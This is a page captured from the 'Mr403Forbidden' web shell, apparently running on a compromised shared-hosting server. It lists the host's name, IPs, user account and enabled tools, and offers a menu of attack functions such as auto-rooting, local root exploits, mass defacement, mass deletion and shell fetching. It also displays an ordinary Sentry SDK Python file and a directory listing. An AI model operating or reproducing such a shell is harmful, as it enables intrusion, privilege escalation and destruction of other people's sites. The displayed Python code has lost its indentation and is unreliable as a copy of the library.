./Mr403Forbidden

:/opt/cloudlinux/venv/lib/python3.11/site-packages/sentry_sdk/integrations/ [ s--------- ]

Information Server

System: Linux myhosting.zubahost.com 4.18.0-553.51.1.lve.1.el8.x86_64 #1 SMP Wed May 14 14:34:57 UTC 2025 x86_64
Software: LiteSpeed
PHP Version: 7.4.33 PHP Os: Linux
Server IP: 194.163.174.55
Your IP: 216.73.216.138
User: business1 (1088) | Group: business1 (1091)
Safe Mode: OFF
MYSQL: OFF | PERL: ON | PYTHON: OFF | WGET: ON | CURL: ON | GCC: ON | PKEXEC: OFF
Disable Function:

mail

Upload Via Link Adminer Mass Auto Root Command Create RDP Config Get Shell/Tools Get Localroot Mass Deface Mass Delete Network Scan Root Upload Website

: __init__.py

"""This package"""
from __future__ import absolute_import

from threading import Lock

from sentry_sdk._compat import iteritems
from sentry_sdk.utils import logger

from sentry_sdk._types import TYPE_CHECKING

if TYPE_CHECKING:
    from typing import Callable
    from typing import Dict
    from typing import Iterator
    from typing import List
    from typing import Set
    from typing import Tuple
    from typing import Type

_installer_lock = Lock()
_installed_integrations = set()  # type: Set[str]

def _generate_default_integrations_iterator(integrations, auto_enabling_integrations):
    # type: (Tuple[str, ...], Tuple[str, ...]) -> Callable[[bool], Iterator[Type[Integration]]]

def iter_default_integrations(with_auto_enabling_integrations):
        # type: (bool) -> Iterator[Type[Integration]]
        """Returns an iterator of the default integration classes:"""
        from importlib import import_module

if with_auto_enabling_integrations:
            all_import_strings = integrations + auto_enabling_integrations
        else:
            all_import_strings = integrations

for import_string in all_import_strings:
            try:
                module, cls = import_string.rsplit(".", 1)
                yield getattr(import_module(module), cls)
            except (DidNotEnable, SyntaxError) as e:
                logger.debug(
                    "Did not import default integration %s: %s", import_string, e
                )

if isinstance(iter_default_integrations.__doc__, str):
        for import_string in integrations:
            iter_default_integrations.__doc__ += "\n- `{}`".format(import_string)

return iter_default_integrations

_AUTO_ENABLING_INTEGRATIONS = (
    "sentry_sdk.integrations.django.DjangoIntegration",
    "sentry_sdk.integrations.flask.FlaskIntegration",
    "sentry_sdk.integrations.starlette.StarletteIntegration",
    "sentry_sdk.integrations.fastapi.FastApiIntegration",
    "sentry_sdk.integrations.bottle.BottleIntegration",
    "sentry_sdk.integrations.falcon.FalconIntegration",
    "sentry_sdk.integrations.sanic.SanicIntegration",
    "sentry_sdk.integrations.celery.CeleryIntegration",
    "sentry_sdk.integrations.rq.RqIntegration",
    "sentry_sdk.integrations.aiohttp.AioHttpIntegration",
    "sentry_sdk.integrations.tornado.TornadoIntegration",
    "sentry_sdk.integrations.sqlalchemy.SqlalchemyIntegration",
    "sentry_sdk.integrations.redis.RedisIntegration",
    "sentry_sdk.integrations.pyramid.PyramidIntegration",
    "sentry_sdk.integrations.boto3.Boto3Integration",
    "sentry_sdk.integrations.httpx.HttpxIntegration",
)

iter_default_integrations = _generate_default_integrations_iterator(
    integrations=(
        # stdlib/base runtime integrations
        "sentry_sdk.integrations.logging.LoggingIntegration",
        "sentry_sdk.integrations.stdlib.StdlibIntegration",
        "sentry_sdk.integrations.excepthook.ExcepthookIntegration",
        "sentry_sdk.integrations.dedupe.DedupeIntegration",
        "sentry_sdk.integrations.atexit.AtexitIntegration",
        "sentry_sdk.integrations.modules.ModulesIntegration",
        "sentry_sdk.integrations.argv.ArgvIntegration",
        "sentry_sdk.integrations.threading.ThreadingIntegration",
    ),
    auto_enabling_integrations=_AUTO_ENABLING_INTEGRATIONS,
)

del _generate_default_integrations_iterator

def setup_integrations(
    integrations, with_defaults=True, with_auto_enabling_integrations=False
):
    # type: (List[Integration], bool, bool) -> Dict[str, Integration]
    """Given a list of integration instances this installs them all.  When
    `with_defaults` is set to `True` then all default integrations are added
    unless they were already provided before.
    """
    integrations = dict(
        (integration.identifier, integration) for integration in integrations or ()
    )

logger.debug("Setting up integrations (with default = %s)", with_defaults)

# Integrations that are not explicitly set up by the user.
    used_as_default_integration = set()

if with_defaults:
        for integration_cls in iter_default_integrations(
            with_auto_enabling_integrations
        ):
            if integration_cls.identifier not in integrations:
                instance = integration_cls()
                integrations[instance.identifier] = instance
                used_as_default_integration.add(instance.identifier)

for identifier, integration in iteritems(integrations):
        with _installer_lock:
            if identifier not in _installed_integrations:
                logger.debug(
                    "Setting up previously not enabled integration %s", identifier
                )
                try:
                    type(integration).setup_once()
                except NotImplementedError:
                    if getattr(integration, "install", None) is not None:
                        logger.warning(
                            "Integration %s: The install method is "
                            "deprecated. Use `setup_once`.",
                            identifier,
                        )
                        integration.install()
                    else:
                        raise
                except DidNotEnable as e:
                    if identifier not in used_as_default_integration:
                        raise

logger.debug(
                        "Did not enable default integration %s: %s", identifier, e
                    )

_installed_integrations.add(identifier)

for identifier in integrations:
        logger.debug("Enabling integration %s", identifier)

return integrations

class DidNotEnable(Exception):  # noqa: N818
    """
    The integration could not be enabled due to a trivial user error like
    `flask` not being installed for the `FlaskIntegration`.

This exception is silently swallowed for default integrations, but reraised
    for explicitly enabled integrations.
    """

class Integration(object):
    """Baseclass for all integrations.

To accept options for an integration, implement your own constructor that
    saves those options on `self`.
    """

install = None
    """Legacy method, do not implement."""

identifier = None  # type: str
    """String unique ID of integration type"""

@staticmethod
    def setup_once():
        # type: () -> None
        """
        Initialize the integration.

This function is only called once, ever. Configuration is not available
        at this point, so the only thing to do here is to hook into exception
        handlers, and perhaps do monkeypatches.

Inside those hooks `Integration.current` can be used to access the
        instance again.
        """
        raise NotImplementedError()

Name	Type	Last Edit	Size	Owner/Group	Permission	Action
..
__init__.py	file	2026-01-20 13:01	6.67 KB	root/root	s---------
_wsgi_common.py	file	2026-01-20 13:01	4.43 KB	root/root	s---------
aiohttp.py	file	2026-01-20 13:01	11.28 KB	root/root	s---------
argv.py	file	2026-01-20 13:01	963 B	root/root	s---------
arq.py	file	2026-01-20 13:01	6.58 KB	root/root	s---------
asgi.py	file	2026-01-20 13:01	11.54 KB	root/root	s---------
asyncio.py	file	2026-01-20 13:01	2.98 KB	root/root	s---------
atexit.py	file	2026-01-20 13:01	1.8 KB	root/root	s---------
aws_lambda.py	file	2026-01-20 13:01	15.44 KB	root/root	s---------
beam.py	file	2026-01-20 13:01	5.56 KB	root/root	s---------
boto3.py	file	2026-01-20 13:01	4.44 KB	root/root	s---------
bottle.py	file	2026-01-20 13:01	6.32 KB	root/root	s---------
celery.py	file	2026-01-20 13:01	18.65 KB	root/root	s---------
chalice.py	file	2026-01-20 13:01	4.66 KB	root/root	s---------
cloud_resource_context.py	file	2026-01-20 13:01	6.6 KB	root/root	s---------
dedupe.py	file	2026-01-20 13:01	1.16 KB	root/root	s---------
excepthook.py	file	2026-01-20 13:01	2.21 KB	root/root	s---------
executing.py	file	2026-01-20 13:01	1.99 KB	root/root	s---------
falcon.py	file	2026-01-20 13:01	7.8 KB	root/root	s---------
fastapi.py	file	2026-01-20 13:01	4.39 KB	root/root	s---------
flask.py	file	2026-01-20 13:01	7.72 KB	root/root	s---------
gcp.py	file	2026-01-20 13:01	8.02 KB	root/root	s---------
gnu_backtrace.py	file	2026-01-20 13:01	2.86 KB	root/root	s---------
httpx.py	file	2026-01-20 13:01	4.89 KB	root/root	s---------
huey.py	file	2026-01-20 13:01	4.59 KB	root/root	s---------
logging.py	file	2026-01-20 13:01	8.97 KB	root/root	s---------
loguru.py	file	2026-01-20 13:01	2.98 KB	root/root	s---------
modules.py	file	2026-01-20 13:01	2.06 KB	root/root	s---------
pure_eval.py	file	2026-01-20 13:01	4.45 KB	root/root	s---------
pymongo.py	file	2026-01-20 13:01	5.87 KB	root/root	s---------
pyramid.py	file	2026-01-20 13:01	7.27 KB	root/root	s---------
quart.py	file	2026-01-20 13:01	7.2 KB	root/root	s---------
rq.py	file	2026-01-20 13:01	5.28 KB	root/root	s---------
sanic.py	file	2026-01-20 13:01	11.06 KB	root/root	s---------
serverless.py	file	2026-01-20 13:01	1.93 KB	root/root	s---------
socket.py	file	2026-01-20 13:01	2.88 KB	root/root	s---------
sqlalchemy.py	file	2026-01-20 13:01	4.14 KB	root/root	s---------
starlette.py	file	2026-01-20 13:01	22.67 KB	root/root	s---------
starlite.py	file	2026-01-20 13:01	9.85 KB	root/root	s---------
stdlib.py	file	2026-01-20 13:01	8.06 KB	root/root	s---------
threading.py	file	2026-01-20 13:01	2.87 KB	root/root	s---------
tornado.py	file	2026-01-20 13:01	7.17 KB	root/root	s---------
trytond.py	file	2026-01-20 13:01	1.7 KB	root/root	s---------
wsgi.py	file	2026-01-20 13:01	9.36 KB	root/root	s---------